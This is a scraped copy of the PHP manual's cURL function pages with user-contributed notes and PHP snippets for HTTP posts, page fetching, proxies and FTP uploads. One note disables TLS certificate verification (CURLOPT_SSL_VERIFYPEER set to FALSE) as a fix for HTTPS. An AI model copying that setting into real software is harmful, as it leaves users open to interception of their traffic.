Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited
hraefn at hraefn dot net
04-Feb-2004 05:15
You can request (and have deflated for you) compressed http (from mod_gzip or ob_gzhandler, for instance) by using the following:

curl_setopt($ch,CURLOPT_ENCODING , "gzip");

This seems to work fine with the latest php (4.3.4) curl (7.11.0) and zlib (1.1.4) under linux.  This is much more elegant than forcing the Accept-Encode header and using gzdeflate on an edited result.
mmm at turkmenweb dot com
15-Dec-2003 08:49
I know that many people suffer from cURL when trying to send XML data. I solved this problem and want to share it with you:

I was trying to send SMS messages with a SMS service provider. They gave me the following ASP code, where you send data as XML and receive a response in XML as well:

url = "http://...someaddress/somefile.asp";
xmldata ="<XMLtag1>many other tags, data here</XMLtag1>";
Set ob = Server.CreateObject("Msxml2.XMLHTTP")
ob.Open "POST",url,false
ob.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
ob.Send xmldata
...then recieve code was here...

This is done in PHP using cURL library in this way:

<?php
$XPost = "<XMLcontent>sameas above</XMLcontent>"
$url = "..same URL as above..";
$ch = curl_init();    // initialize curl handle
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 4); // times out after 4s
curl_setopt($ch, CURLOPT_POSTFIELDS, $XPost); // add POST fields
$result = curl_exec($ch); // run the whole process
echo $result; //contains response from server
?>

Some say that you should use CURLOPT_CUSTOMREQUEST, CURLOPT_HTTPHEADER and etc. to perform this task , as you can see you don't need those at all.

Hope it will help those who tries to simulate Msxml2.XMLHTTP or simply try sending XML data over PHP.

Regards,
Muhammed Mamedov
rodneywa at yahoo dot com
24-Oct-2003 04:47
Here's how I was able to post arrays using Curl:

$array_of_vars[]="var1";
$array_of_vars[]="var2";
$array_of_vars[]="var3";
$array_of_vars[]="var4";

$submit_url = "http://www.example.com/reads_post.php";
$formvars["feild1"] = "feild1";

for ($i=0;$i<sizeof($array_of_vars);$i++)
   $formvars["array_of_vars[$i]"] = $dna[$i];

// init curl handle
$ch = curl_init($submit_url);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $formvars);

// perform post
$rr=curl_exec($ch);
echo $rr;
curl_close($ch);
da at canaan dot co dot il
08-Oct-2003 10:42
i had problems with receiving all of the data that was replied to me about a transaction, atlast after way too much time spent i found out that all i missed was:
curl_setopt($ch, CURLOPT_HEADER, 1);

hope it helped anyone
alwong at 123infosys dot com
21-Sep-2003 10:35
The following scripts show how to post form to a web server via https.  I modified rodrigo posting because it did not work for me on IIS5.
<?php
   $url = 'https://www.yourserver.com/yourrequest;
   $params = "name=your_name&email=youremail@mail.com";
   $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_POST,1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,$params);
   curl_setopt($ch, CURLOPT_URL,$url);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
   curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);  // this line makes it work under https

   $result=curl_exec ($ch);
   curl_close ($ch);

   echo("Results: <br>".$result);
?>
rodrigo dot nakahodo at dhweb dot com dot br
19-Sep-2003 03:57
The script shows how to get a simple response of a SSL Server. Enjoy it!

<?php

   $defined_vars = get_defined_vars();

   $_url = 'https://www.example.com.br';
   $_VAR001 = 'nono';
   $_VAR002 = 'nonono';

   $params = "VAR001=$_VAR001&VAR002=$_VAR002&";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_POST,1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,$params);
   curl_setopt($ch, CURLOPT_URL,$_url);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
   curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   $result=curl_exec ($ch);
   curl_close ($ch);

   echo("Output: ".$result);

?>
helvecio_oliveira at yahoo dot com dot br
22-Aug-2003 12:12
CURL install steps in Mandrake 9.1:
==========================================================
cp -r /usr/src/php-devel/extensions/curl /tmp/curl
cd /tmp/curl
phpize
./configure
make install
echo "extension = curl.so" > /etc/php/90_curl.ini

Restart apache web server.
==========================================================
curl.so is in:
/usr/lib/php/extensions/

look in phpinfo, the string:
/etc/php/90_curl.ini

Needs these  tools:
autoconf
automake
libtool
m4
php430-devel-430-11mdk.rpm

Some docs:
/usr/share/doc/php430-devel-430/SELF-CONTAINED-EXTENSIONS
eric at imap dot ch
08-Jul-2003 12:38
I managed to use curl to retrieve information from severs on ports other than 80 or 443 (for https) on some installations but not on all.
If you get an "CURLE_COULDNT_CONNECT /* 7 */" error, try adding the port : (for example)
curl_setopt($ch, CURLOPT_PORT, $_SERVER['SERVER_PORT']);
php at mechintosh dot com
03-Jul-2003 11:51
IMHO the example code is somewhat confusing; the fopen() and fclose() are not needed at all, AFAICT.

By default the resulting data/page of the external server is just printed out. To assign the result of the curl session to a variable, one can use
- output buffering (see ob_start(), ob_get_contents())
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
With the latter, the result of curl_exec is the actual data instead of a boolean.
sorin
10-Apr-2003 04:44
function curl_string ($url,$user_agent,$proxy){

       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_PROXY, $proxy);
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, "c:\cookie.txt");
       curl_setopt ($ch, CURLOPT_HEADER, 1);
       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt ($ch, CURLOPT_TIMEOUT, 120);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;

}

$url_page = "http://www.google.com/";
$user_agent = "Mozilla/4.0";
$proxy = "http://208.25.243.167:8080";
$string = curl_string($url_page,$user_agent,$proxy);
echo $string;

this could hep someone
Sorin
thomas at NOSPAM dot gutschke dot com
07-Apr-2003 08:00
Here's a little code snippet if you need the last-modified-time for a remote file as filemtime() does not work on those. :)

$modified = "";
function read_header($ch, $header)
{
   global $modified;
   $length = strlen($header);
   if(strstr($header, "Last-Modified:"))
   {
       $modified = substr($header, 15);
   }
   return $length;
}

function last_mod($remote_file)
{
   global $modified;
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $remote_file);
   curl_setopt($ch, CURLOPT_HEADER, 1);
   curl_setopt($ch, CURLOPT_NOBODY, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_HEADERFUNCTION, 'read_header');

   $headers = curl_exec ($ch);
   curl_close ($ch);
   return $modified;
}

use something like
   echo strtotime(last_mod("http://www.php.net/"));
to get the time as an Unix timestamp or
   echo last_mod("http://www.php.net/");
to get the gmdate()-like time.
dweingart at pobox dot com
03-Apr-2003 07:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

curl_setopt($ch, CURLOPT_COOKIEJAR, '-');

'-' means stdout

-dw
diana dot castillo at nvtechnologies dot com
26-Mar-2003 02:30
if you need to install curl on a windows system, this has the best explanation:
http://zend.com/zend/tut/tutorial-thome3.php
bharris at spro dot net
26-Feb-2003 08:58
For Win2000: To get the 4.3.1 curl dll to work with https you now need to download the latest win32 curl library from http://curl.haxx.se and snag the ca-bundle.crt file from the lib directory.  Place this somewhere handy on your webserver.

Then in your PHP script, add the following setopt line to the rest of your curl_setopt commands:

curl_setopt($ch, CURLOPT_CAFILE, 'C:\pathto\ca-bundle.crt')

This worked for me and allowed me to discontinue using the CURLOPT_SSL_VERIFYPEER set to zero hack.
retro at nospam dot enx dot org
12-Jan-2003 09:42
When using cURL to do posts, make sure you actually specify the CURLOPT_POSTFIELDS option. Not doing so seems to make PHP core (and apache as well if you're running it through there).
asi at neo dot ee
13-Dec-2002 11:28
If anybody has problems with getting new curl working with older version of php then ...

I got stuck with installing curl-7.10.2+php 4.0.6 or better said configuring PHP with mentioned version of curl.

After some hopeless attempts to configure curl support into PHP I saw an error message:

"checking for cURL greater than or equal to 7.8... ./configure: line 11725: test: 070a02: integer expression expected"

after which configure said: "configure: error: cURL version 7.8 or later is required to compile php with cURL support"

On the mentioned line "test" is used to compare verion from curl-sonfig with preset value 70800 but ... test expects both values to be integer. From verson 7.8 curl outputs its version in hex...

I did'nt had the time to think about fixing this - I just deleted lines responsible and got curl working :)
jerome at blaster dot dyndns dot org
10-Oct-2002 10:23
I wanted to import an https Web pages thanks to fopen("https://xxx", "r") or fsockopen but as far as I read, it was only possible with cURL extension (to get these functions worked with https, we have to wait the PHP 4.3 release, TBC) , so I installed it and it worked. It is quite easy, but I spend to much time on it:
First of all, here is the most important: WE DON'T NEED to compile anything to get curl worked. All the extensions that we need are already in the PHP 4.2.3 zip. So here are the instructions and links to get Apache + PHP + CURL work properly:

Downloads:
=> Apache Web server with Openssl included:
   http://www.modssl.org/contrib/ftp/contrib/ Apache_1.3.26-Mod_SSL_2.8.9-OpenSSL_0.9.6d-WIN32.zip

=> PHP 4.2.3 for Windows:
   http://www.php.net/get_download.php?df=php-4.2.3-Win32.zip

=> Optional: Openssl zip to get libeay32.dll and ssleay32.dll (I didn't need them because I used those stored in PHP zip)
http://www.modssl.org/contrib/ftp/contrib/ OpenSSL-0.9.6d-win32_RAR3_Archive_.rar

Installs:
=> Unzip Apache in Program Files folder(there should be no problem with the blank in the path):

=> Follow those instructions: http://tud.at/programm/apache-ssl-win32-howto.php3 . I didn't exactly do what they wrote but it helped a lot. I created the test certificat thanks to this link in order to test my Apache server with SSL.

=> Configure httpd (easy to find on the Web) and test Apache before going on, it avoids problems.
   I just changed the Port from 80 (http) to 443 (https) in httpd, I only wanted to perform https.
   I didn't try to get the both working together.

=> Unzip PHP in C:\Php path (don't install it in Program Files folder, you would have troubles because of the blank this time...)

=> Configure PHP : http://www.php.net/manual/en/install.windows.php #install.windows.manual
   WARNING: php.ini MUST be stored into the c:\winnt folder and the dlls must be stored into the c:\winnt\system32 folder.

=> Test it with Apache and phpinfo() function.

cURL:
To add cURL extension, YOU DON'T NEED to compile anything.
All the extensions that you need are in the C:\php\extensions folder. To add cURL or any other extensions:

=> Have the libeay32.dll and ssleay32.dll in the system32 folder (already done if you installed PHP)

=> Copy all dlls from php/dll/ folder to winnt/system32/ (libeay32.dll and ssleay32.dll are already there if you followed
   the previous steps)

=> Remove the ";" in front of extension=php_curl.dll in php.ini.

Those instructions come from: http://www.php.net/manual/en/install.windows.php #install.windows.extensions

And it should work, just test it with curl functions into your php script.
hamannDOTw at tDOTonline dot de
03-Jul-2002 12:18
Using the customrequest for a complete post is wrong. Libcurl will add a partial url, the http version and the standard headers after the post data - while this works with a non-persistent connection and an apache web server, it may fail under different conditions
smclean at scoreinfo dot tv
22-Jun-2002 09:46
For an exaplanation of those Predefined Constants listed above see the following URL:

 http://curl.haxx.se/libcurl/c/curl_easy_setopt.html
marco dot mcc at inwind dot it
28-May-2001 02:50
If you want to write your entire HTTP request without use any other CURL functions like CURLOPT_POST specify it within a curl_setopt ($ch,CURLOPT_CUSTOMREQUEST , $req) line;
Where $req looks like (let me imagine a POST request...):

POST /destination/script HTTP/1.1
Content-length: xxx
Content-type: text/xml
host: yourhost
accept: */*
accept-encoding: gzip, deflate
accept-language: en-us
connection: close; Keep-Alive
...
your POST data
...

CURLOPT_CUSTOMREQUEST is not documented?!? but it's useful and amazing!

marcomcc (Roma)
dan dot polansky at seznam dot cz
18-Jan-2001 06:31
I used to download www pages to my script and one of the pages was different in MS explorer and different, when I downloaded it. Namely, information, I was really interested in was missing. That was because the server on the other bank of the river was looking at who is downloading the page. Everything got fixed when I pretended I was MSIE. It is done with curl. Here is a function, that you may use in similar situation

function download_pretending($url,$user_agent) {
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   $result = curl_exec ($ch);
   curl_close ($ch);
   return $result;
}
add a note add a note

后退 | 起点 | 前进
cybermut_testmac | 上一级 | curl_close


curl_close

(PHP 4 >= 4.0.2, PHP 5)

curl_close -- Close a CURL session

Description

void curl_close ( resource ch )

This function closes a CURL session and frees all resources. The CURL handle, ch, is also deleted.

例子 1. Initializing a new CURL session and fetching a webpage

<?php
// create a new curl resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close curl resource, and free up system resources
curl_close($ch);
?>

See also: curl_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CURL, Client URL Library Functions | 上一级 | curl_copy_handle


curl_copy_handle

(PHP 5)

curl_copy_handle -- Copy a cURL handle along with all of its preferences

Description

resource curl_copy_handle ( resource ch )

This function copies a cURL handle, returning a new cURL handle with the same preferences.

例子 1. Copying a cURL handle.

<?php
// create a new curl resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// copy the handle
$ch2 = curl_copy_handle($ch);

// grab URL (http://www.example.com/) and pass it to the browser
curl_exec($ch2);

// close curl resources, and free up system resources
curl_close($ch2);
curl_close($ch);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_close | 上一级 | curl_errno


curl_errno

(PHP 4 >= 4.0.3, PHP 5)

curl_errno -- Return the last error number

Description

int curl_errno ( resource ch )

Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred.

See also curl_error() and Curl error codes.

add a note add a note User Contributed Notes
samandavia at yahoo dot com
05-Apr-2006 10:44
<?php
// create a new curl resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// copy the handle
$ch2 = curl_copy_handle($ch);

// grab URL (http://www.example.com/) and pass it to the browser
curl_exec($ch2);

// close curl resources, and free up system resources
curl_close($ch2);
curl_close($ch);
?>
add a note add a note

后退 | 起点 | 前进
curl_copy_handle | 上一级 | curl_error


curl_error

(PHP 4 >= 4.0.3, PHP 5)

curl_error -- Return a string containing the last error for the current session

Description

string curl_error ( resource ch )

Returns a clear text error message for the last cURL operation on the resource ch, or '' (the empty string) if no error occurred.

See also curl_errno() and Curl error codes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_errno | 上一级 | curl_exec


curl_exec

(PHP 4 >= 4.0.2, PHP 5)

curl_exec -- Perform a CURL session

Description

mixed curl_exec ( resource ch )

This function should be called after you initialize a CURL session and all the options for the session are set. Its purpose is simply to execute the predefined CURL session (given by the ch).

例子 1. Initializing a new CURL session and fetching a webpage

<?php
// create a new curl resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close curl resource, and free up system resources
curl_close($ch);
?>

注: If you want to have the result returned instead of it being printed to the browser directly, use the CURLOPT_RETURNTRANSFER option of curl_setopt().

add a note add a note User Contributed Notes
Jrgen Tjern
08-Mar-2005 10:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
   print curl_error($creq);
} else {
   curl_close($creq);
}
?>
landon at phazeforward dot com
01-Dec-2004 07:43
If your curl installation is not compiled with SSL support you will beat your head against a wall when trying to figure out why curl_exec() is failing to fail or do anything else ...

If you run into a situation where your call to curl_exec is not returning anything you should try the same call with the command line curl
fifa_2k [-at-] sina [-dot-] com
29-Oct-2004 02:29
With php 4.3.9 or higher,you can upload file to ftp server on win32 system
<?php
function curl_upload($src) {
   $fn = basename($src);
   $dest = "ftp://user:passwd@server.com/incoming/$fn";
   $ch = curl_init();

   $fp = fopen($src,"r");
   curl_setopt($ch, CURLOPT_UPLOAD, 1);
   curl_setopt($ch, CURLOPT_TIMEOUT, 300);
   curl_setopt($ch, CURLE_OPERATION_TIMEOUTED, 300);
   curl_setopt($ch, CURLOPT_URL, $dest);
   curl_setopt($ch, CURLOPT_INFILE, $fp);
   curl_setopt($ch, CURLOPT_INFILESIZE, filesize($src));
   curl_exec($ch);
   fclose ($fp);
   $errorMsg = '';
   $errorMsg = curl_error($ch);
   $errorNumber = curl_errno($ch);
   curl_close($ch);
   return $errorNumber;
}
?>
lower version php (I tried on php 4.3.3) on win32 can't do this and may cause php crash even you use CURLOPT_READFUNCTION.
sybren at thirdtower dot com
01-Jul-2003 10:00
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
nagyp at hunaxon dot hu
27-Apr-2003 08:22
fyi:
It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com
25-Apr-2002 07:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com
01-Mar-2002 11:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
sharky at im dot net dot ua
22-Nov-2001 09:08
If You want to hide result which return curl_exec

Use bufeered output.
For example:
-----------------------
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://url.com/index.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "a=3&b=5");
//--- Start buffering
ob_start();
curl_exec ($ch);
//--- End buffering and clean output
ob_end_clean();

curl_close ($ch);
------------------

maybe it help somebody :))

----------
Best Regards
  Sharky
csaba at alum dot mit dot edu
22-May-2001 04:06
If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
   $ch = curl_init($pageSpec);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $tmp = curl_exec ($ch);
   curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
   $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
   return $tmp;
}
?>
add a note add a note

后退 | 起点 | 前进
curl_error | 上一级 | curl_getinfo


curl_getinfo

(PHP 4 >= 4.0.4, PHP 5)

curl_getinfo -- Get information regarding a specific transfer

Description

mixed curl_getinfo ( resource ch [, int opt] )

Returns information about the last transfer, opt may be one of the following:

  • "CURLINFO_EFFECTIVE_URL" - Last effective URL

  • "CURLINFO_HTTP_CODE" - Last received HTTP code

  • "CURLINFO_FILETIME" - Remote time of the retrieved document, if -1 is returned the time of the document is unknown

  • "CURLINFO_TOTAL_TIME" - Total transaction time in seconds for last transfer

  • "CURLINFO_NAMELOOKUP_TIME" - Time in seconds until name resolving was complete

  • "CURLINFO_CONNECT_TIME" - Time in seconds it took to establish the connection

  • "CURLINFO_PRETRANSFER_TIME" - Time in seconds from start until just before file transfer begins

  • "CURLINFO_STARTTRANSFER_TIME" - Time in seconds until the first byte is about to be transferred

  • "CURLINFO_REDIRECT_TIME" - Time in seconds of all redirection steps before final transaction was started

  • "CURLINFO_SIZE_UPLOAD" - Total number of bytes uploaded

  • "CURLINFO_SIZE_DOWNLOAD" - Total number of bytes downloaded

  • "CURLINFO_SPEED_DOWNLOAD" - Average download speed

  • "CURLINFO_SPEED_UPLOAD" - Average upload speed

  • "CURLINFO_HEADER_SIZE" - Total size of all headers received

  • "CURLINFO_REQUEST_SIZE" - Total size of issued requests, currently only for HTTP requests

  • "CURLINFO_SSL_VERIFYRESULT" - Result of SSL certification verification requested by setting CURLOPT_SSL_VERIFYPEER

  • "CURLINFO_CONTENT_LENGTH_DOWNLOAD" - content-length of download, read from Content-Length: field

  • "CURLINFO_CONTENT_LENGTH_UPLOAD" - Specified size of upload

  • "CURLINFO_CONTENT_TYPE" - Content-type of downloaded object, NULL indicates server did not send valid Content-Type: header

If called without the optional parameter opt an associative array is returned with the following array elements which correspond to opt options:

  • "url"

  • "content_type"

  • "http_code"

  • "header_size"

  • "request_size"

  • "filetime"

  • "ssl_verify_result"

  • "redirect_count"

  • "total_time"

  • "namelookup_time"

  • "connect_time"

  • "pretransfer_time"

  • "size_upload"

  • "size_download"

  • "speed_download"

  • "speed_upload"

  • "download_content_length"

  • "upload_content_length"

  • "starttransfer_time"

  • "redirect_time"

add a note add a note User Contributed Notes
ssttoo at hotmail dot com
07-Apr-2004 03:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
   die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,        1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
   // some kind of an error happened
   die(curl_error($ch));
   curl_close($ch); // close cURL handler
} else {
   $info = curl_getinfo($ch);
   curl_close($ch); // close cURL handler

   if (empty($info['http_code'])) {
           die("No HTTP code was returned");
   } else {
       // load the HTTP codes
       $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

       // echo results
       echo "The server responded: <br />";
       echo $info['http_code'] . " " . $http_codes[$info['http_code']];
   }

}
?>
13-Sep-2002 05:02
You can get some documentation about what these values mean in the libcurl C API documentation here:

http://curl.haxx.se/libcurl/c/curl_easy_getinfo.html
add a note add a note

后退 | 起点 | 前进
curl_exec | 上一级 | curl_init


curl_init

(PHP 4 >= 4.0.2, PHP 5)

curl_init -- Initialize a CURL session

Description

resource curl_init ( [string url] )

The curl_init() will initialize a new session and return a CURL handle for use with the curl_setopt(), curl_exec(), and curl_close() functions. If the optional url parameter is supplied then the CURLOPT_URL option will be set to the value of the parameter. You can manually set this using the curl_setopt() function.

例子 1. Initializing a new CURL session and fetching a webpage

<?php
// create a new curl resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close curl resource, and free up system resources
curl_close($ch);
?>

See also: curl_close(), curl_setopt()

add a note add a note User Contributed Notes
darkstar_ae at hotmail dot com
25-May-2006 11:20
For some reason on some webservers it may not be able to understand what cURL is doing. If you're getting unexpected results (like getting no output when the URL is valid) while using curl_init(). Add a trailing slash '/' after the url if you haven't done so already.
ru dot dy at gmx dot net
03-Sep-2005 06:10
The curl-functions can be used to check the ICQ-webstatus from an icq-number, to get the status as a string rather than as one of those standard images provided from ICQ. This can also be used to place your own Image instead of simple text, to show ones online-status, of course if activated in the options. The idea behind is to get just the text from the apache-site that would lead us to the picture  that shows the online status. curl does not do any redirect, as long as we don't set CURLOPT_FOLLOWLOCATION. This is nice because the image can change, as long as the paths and filenames (contained in the site-text) don't. The different states are stored in a short array of unsigned crc-values.

<?php

class ICQ {

 var $crc = array('253889085' => 'offline', '1177883536' => 'online', '1182613274' => 'hidden');
//CRCs valid as long as the redirect-page does not change

 function getCrc($url) {
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   ob_start();
   curl_exec ($ch);
   curl_close ($ch);
   $cache = ob_get_contents();

   ob_end_clean();
   //print($cache);
   return (string)abs(crc32($cache));
 }

 function status($number) {
   $check = $this->getCrc( 'http://status.icq.com/online.gif?icq=' . $number . '&img=5');
   if (in_array($check, array_keys($this->crc))) {
     return $this->crc[$check];
   }
   return false;
 }

}
?>

Usage:

<?php
 $icq = new ICQ();
 print($icq->status('123456789'));
?>

Outputs 'online', 'offline' or 'hidden'.
Jos Enrique Serrano Expsito
05-Feb-2005 06:35
<?php
   vWritePageToFile( 'http://es.php.net', 'es.php.net.txt' );
?>
... And the text file stand in the server in the same folder that the script.
This is the function code.-
<?php
   function vWritePageToFile( $sHTMLpage, $sTxtfile ) {
     $sh =          curl_init( $sHTMLpage );
     $hFile =                      FOpen( $sTxtfile, 'w' );
     curl_setopt( $sh, CURLOPT_FILE, $hFile );
     curl_setopt( $sh, CURLOPT_HEADER, 0 );
     curl_exec  ( $sh );
     $sAverageSpeedDownload = curl_getInfo( $sh, CURLINFO_SPEED_DOWNLOAD );
     $sAverageSpeedUpload  = curl_getInfo( $sh, CURLINFO_SPEED_UPLOAD );
     echo '<pre>';
     echo 'Average speed download == ' . $sAverageSpeedDownload . '<br>';
     echo 'Average Speed upload    == ' . $sAverageSpeedUpload  . '<br>';
     echo '<br>';
     $aCURLinfo = curl_getInfo( $sh );
     print_r( $aCURLinfo );
     echo '</pre>';
     curl_close(  $sh );
     FClose    (  $hFile );
     echo '(<b>See the file  "'.$sTxtfile.'"  in the same path of the hosting'.
         ' to where this script PHP</b>).<br>';
   }
?>
add a note add a note

后退 | 起点 | 前进
curl_getinfo | 上一级 | curl_multi_add_handle


curl_multi_add_handle

(PHP 5)

curl_multi_add_handle -- Add a normal cURL handle to a cURL multi handle

Description

int curl_multi_add_handle ( resource mh, resource ch )

警告

本函数暂无文档，仅有参数列表。

See also
curl_multi_init(),
curl_init(), and
curl_multi_remove_handle().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_init | 上一级 | curl_multi_close


curl_multi_close

(PHP 5)

curl_multi_close -- Close a set of cURL handles

Description

void curl_multi_close ( resource mh )

警告

本函数暂无文档，仅有参数列表。

See also curl_multi_init() and curl_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_multi_add_handle | 上一级 | curl_multi_exec


curl_multi_exec

(PHP 5)

curl_multi_exec -- Run the sub-connections of the current cURL handle

Description

int curl_multi_exec ( resource mh, int &still_running )

警告

本函数暂无文档，仅有参数列表。

See also curl_multi_init() and curl_exec().

add a note add a note User Contributed Notes
blucasco at g mail com
08-Sep-2005 10:02
